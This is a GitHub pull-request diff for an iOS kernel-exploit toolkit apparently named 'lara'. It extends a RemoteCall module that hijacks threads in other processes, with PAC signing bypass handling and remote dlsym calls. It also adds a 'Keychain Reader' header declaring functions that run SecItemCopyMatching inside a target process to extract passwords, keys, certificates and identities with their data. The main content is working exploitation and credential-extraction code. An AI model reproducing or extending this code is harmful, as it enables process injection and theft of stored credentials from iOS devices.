Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -91,6 +91,7 @@ Important Notes:
- OTA Update Disabler
- Screen Time Disabler
- App Decrypt
- Keychain Reader


### Coming Soon
Expand Down
3 changes: 3 additions & 0 deletions lara/kexploit/TaskRop/RemoteCall.h
Original file line number Diff line number Diff line change
Expand Up @@ -22,6 +22,7 @@

// xnu-10002.81.5/osfmk/mach/arm/_structs.h
#define __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK 0xff000000
#define __DARWIN_ARM_THREAD_STATE64_FLAGS_NO_PTRAUTH 0x1
#define __DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR 0x2
#define __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC 0x4
#define __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR 0x8
Expand Down Expand Up @@ -137,7 +138,9 @@ int disable_excguard_kill(uint64_t task);
#define RemoteArbCall(instance, _pc, ...) RemoteArbCallWithTimeout(5, instance, _pc, __VA_ARGS__)

uint64_t remote_alloc_str(RemoteCall *proc, const char *str);
uint64_t remote_alloc_ref(RemoteCall *proc, uint64_t pointer);
uint64_t remote_sel(RemoteCall *proc, const char *name);
uint64_t remote_dlsym(RemoteCall *proc, const char *name);
uint64_t remote_getClass(RemoteCall *proc, const char *name);
uint64_t remote_msg(RemoteCall *proc, uint64_t obj, uint64_t sel, uint64_t a0, uint64_t a1, uint64_t a2, uint64_t a3);
int remote_errno(RemoteCall *proc);
Expand Down
126 changes: 84 additions & 42 deletions lara/kexploit/TaskRop/RemoteCall.m
Original file line number Diff line number Diff line change
Expand Up @@ -543,52 +543,57 @@ - (BOOL)setExceptionPortOnThread:(mach_port_t)exceptionPort forThread:(uint64_t)
- (void)signState:(uint64_t)signingThread withState:(arm_thread_state64_internal *)state pc:(uint64_t)pc lr:(uint64_t)lr
{
if(is_pac_supported()) {
uint64_t diver = 0;
diver = (uint64_t)state->__flags & __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK;
uint64_t discPC = ptrauthblend(diver, ptrauthstrdisc("pc"));
uint64_t discLR = ptrauthblend(diver, ptrauthstrdisc("lr"));
uint64_t strippedPC = nativestrip(pc);
uint64_t strippedLR = nativestrip(lr);
uint64_t signedPC = 0;
uint64_t signedLR = 0;

if (pc) {
signedPC = remotepac(signingThread, pc, discPC);
if (!signedPC || signedPC == UINT64_MAX) {
signedPC = strippedPC;
if (!(state->__flags & __DARWIN_ARM_THREAD_STATE64_FLAGS_NO_PTRAUTH)) {
uint64_t diver = 0;
diver = (uint64_t)state->__flags & __DARWIN_ARM_THREAD_STATE64_USER_DIVERSIFIER_MASK;
uint64_t discPC = ptrauthblend(diver, ptrauthstrdisc("pc"));
uint64_t discLR = ptrauthblend(diver, ptrauthstrdisc("lr"));
uint64_t signedPC = 0;
uint64_t signedLR = 0;

if (pc) {
signedPC = remotepac(signingThread, pc, discPC);
if (!signedPC || signedPC == UINT64_MAX) {
signedPC = strippedPC;
}
}
}
if (lr) {
signedLR = remotepac(signingThread, lr, discLR);
if (!signedLR || signedLR == UINT64_MAX) {
signedLR = strippedLR;
if (lr) {
signedLR = remotepac(signingThread, lr, discLR);
if (!signedLR || signedLR == UINT64_MAX) {
signedLR = strippedLR;
}
}
}

printf("(rc) signState: thread=0x%llx flags_before=0x%x diver=0x%llx pc_raw=0x%llx pc_signed=0x%llx lr_raw=0x%llx lr_signed=0x%llx\n",
signingThread,
state->__flags,
diver,
strippedPC,
signedPC,
strippedLR,
signedLR);
fflush(stdout);
rc_ios16_log_return_path_thread(signingThread, "signState");

uint32_t flags = state->__flags;
flags &= ~(__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC |
__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR |
__DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR);
state->__flags = flags;
if (pc) state->__pc = signedPC;
if (lr) state->__lr = signedLR;
if (rc_is_ios16()) {
RC_IOS16_DEBUG_LOG("(rc.iOS16) signState flags after clear: flags_after=0x%x pc_set=%d lr_set=%d\n",
state->__flags,
pc != 0,
lr != 0);
printf("(rc) signState: thread=0x%llx flags_before=0x%x diver=0x%llx pc_raw=0x%llx pc_signed=0x%llx lr_raw=0x%llx lr_signed=0x%llx\n",
signingThread,
state->__flags,
diver,
strippedPC,
signedPC,
strippedLR,
signedLR);
fflush(stdout);
rc_ios16_log_return_path_thread(signingThread, "signState");

uint32_t flags = state->__flags;
flags &= ~(__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC |
__DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR |
__DARWIN_ARM_THREAD_STATE64_FLAGS_IB_SIGNED_LR);
state->__flags = flags;
if (pc) state->__pc = signedPC;
if (lr) state->__lr = signedLR;
if (rc_is_ios16()) {
RC_IOS16_DEBUG_LOG("(rc.iOS16) signState flags after clear: flags_after=0x%x pc_set=%d lr_set=%d\n",
state->__flags,
pc != 0,
lr != 0);
fflush(stdout);
}
} else {
if (pc) state->__pc = strippedPC;
if (lr) state->__lr = strippedLR;
}
return;
}
Expand Down Expand Up @@ -1427,7 +1432,7 @@ - (int)initRemoteCallForProcess:(const char *)process useMigFilterBypass:(BOOL)u
}

uint64_t threadStartTrap = FAKE_PC_TROJAN;
uint64_t remoteCrashSigned = remotepac(_trojanThreadAddr, threadStartTrap, 0);
uint64_t remoteCrashSigned = (exc2.threadState.__flags & __DARWIN_ARM_THREAD_STATE64_FLAGS_NO_PTRAUTH) ? threadStartTrap : remotepac(_trojanThreadAddr, threadStartTrap, 0);
printf("(rc) remoteCrashSigned: 0x%llx\n", remoteCrashSigned);
fflush(stdout);
if (!remoteCrashSigned) {
Expand Down Expand Up @@ -1656,6 +1661,34 @@ uint64_t remote_alloc_str(RemoteCall *proc, const char *str) {
return buf;
}

uint64_t remote_alloc_ref(RemoteCall *proc, uint64_t pointer) {
uint64_t len = sizeof(uint64_t);
if (proc.trojanMemIsStackFallback) {
uint64_t offset = (proc.trojanMemScratchOffset + 7) & ~7ULL;
if (offset + len > PAGE_SIZE) {
RC_IOS16_DEBUG_LOG("(rc.iOS16) stack fallback remote_alloc_ref overflow len=0x%llx offset=0x%llx\n", len, offset);
fflush(stdout);
return 0;
}
uint64_t buf = proc.trojanMem + offset;
if (![proc remote_write64:buf value:pointer]) {
RC_IOS16_DEBUG_LOG("(rc.iOS16) stack fallback remote_alloc_ref write failed buf=0x%llx len=0x%llx\n", buf, len);
fflush(stdout);
return 0;
}
proc.trojanMemScratchOffset = offset + len;
RC_IOS16_DEBUG_LOG("(rc.iOS16) stack fallback remote_alloc_ref buf=0x%llx len=0x%llx next=0x%llx pointer=0x%llx\n",
buf, len, proc.trojanMemScratchOffset, pointer);
fflush(stdout);
return buf;
}
uint64_t buf = RemoteArbCall(proc, malloc, len);
if (buf) {
proc[buf].value64 = pointer;
}
return buf;
}

uint64_t remote_sel(RemoteCall *proc, const char *name) {
uint64_t str = remote_alloc_str(proc, name);
uint64_t sel = RemoteArbCall(proc, sel_registerName, str);
Expand All @@ -1665,6 +1698,15 @@ uint64_t remote_sel(RemoteCall *proc, const char *name) {
return sel;
}

uint64_t remote_dlsym(RemoteCall *proc, const char* name) {
uint64_t str = remote_alloc_str(proc, name);
uint64_t sym = RemoteArbCall(proc, dlsym, RTLD_DEFAULT, str);
if (!proc.trojanMemIsStackFallback) {
RemoteArbCall(proc, free, str);
}
return sym;
}

uint64_t remote_getClass(RemoteCall *proc, const char *name) {
uint64_t str = remote_alloc_str(proc, name);
uint64_t cls = RemoteArbCall(proc, objc_getClass, str);
Expand Down Expand Up @@ -3714,7 +3756,7 @@ - (int)initRemoteCallForProcessIOS16:(const char *)process useMigFilterBypass:(B
}

uint64_t threadStartTrap = FAKE_PC_TROJAN;
uint64_t remoteCrashSigned = remotepac(_trojanThreadAddr, threadStartTrap, 0);
uint64_t remoteCrashSigned = (parkState.__flags & __DARWIN_ARM_THREAD_STATE64_FLAGS_NO_PTRAUTH) ? threadStartTrap : remotepac(_trojanThreadAddr, threadStartTrap, 0);
printf("(rc) remoteCrashSigned: 0x%llx\n", remoteCrashSigned);
fflush(stdout);
if (!remoteCrashSigned) {
Expand Down
54 changes: 54 additions & 0 deletions lara/kexploit/keychain.h
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
//
// keychain.h
// lara
//
// Created by yyfll on 08.07.26.
//

#ifndef keychain_h
#define keychain_h

#include <stdint.h>
#include <stdbool.h>
#import <Foundation/Foundation.h>
#import "RemoteCall.h"

typedef void (*log_callback_t)(const char * _Nullable message);

void set_log_callback_kc(log_callback_t _Nullable callback);

typedef struct {
uint64_t SecItemCopyMatching;

uint64_t kSecClass;
uint64_t kSecClassGenericPassword;
uint64_t kSecClassInternetPassword;
uint64_t kSecClassCertificate;
uint64_t kSecClassKey;
uint64_t kSecClassIdentity;

uint64_t kCFBooleanTrue;
uint64_t kCFBooleanFalse;

uint64_t kSecReturnAttributes;
uint64_t kSecReturnData;

uint64_t kSecMatchLimit;
uint64_t kSecMatchLimitAll;
uint64_t kSecMatchLimitOne;

uint64_t kSecAttrAccessControl;
} remote_sec_symbols;

typedef NS_ENUM(NSUInteger, sec_class) {
kSCGenericPassword = 0,
kSCInternetPassword,
kSCCertificate,
kSCKey,
kSCIdentity
};

bool find_secitem_symbols(RemoteCall * _Nonnull proc, remote_sec_symbols * _Nonnull symbols);
NSArray<NSDictionary *> * _Nullable get_secitems(RemoteCall * _Nonnull proc, remote_sec_symbols * _Nonnull symbols, sec_class target_sec_class, bool get_data);

#endif /* keychain_h */
Loading